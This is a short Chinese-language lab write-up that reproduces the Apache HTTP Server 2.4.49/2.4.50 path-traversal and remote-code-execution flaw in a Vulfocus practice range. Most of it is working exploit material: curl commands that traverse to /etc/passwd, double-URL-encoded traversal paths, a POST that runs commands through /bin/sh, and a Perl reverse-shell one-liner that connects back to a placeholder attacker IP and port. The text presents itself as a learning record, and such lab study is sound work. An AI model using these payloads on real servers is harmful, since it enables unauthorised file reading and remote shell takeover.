采用Vulfocus靶场环境进行复现,搭建操作和文章参考具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败。
Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本
Apache 2.4.49 和 Apache 2.4.50
环境启动后,确认Apache版本是否符合,将ip地址填入POC进行漏洞探测即可
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/../../../../etc/passwd'
使用get方法进行请求也可以,但是需要将2e进行url编码替换
/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/../../../../bin/sh'
或者使用POST方法提交,将需要执行的命令放在POST数据部分
请求路径
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
反弹shell,使用perl语言生成的反弹shell命令
echo;perl -e 'use Socket;$i="IP地址";$p=端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
以上内容仅作学习记录,如有错误或瑕疵,欢迎批评指正,感谢阅读。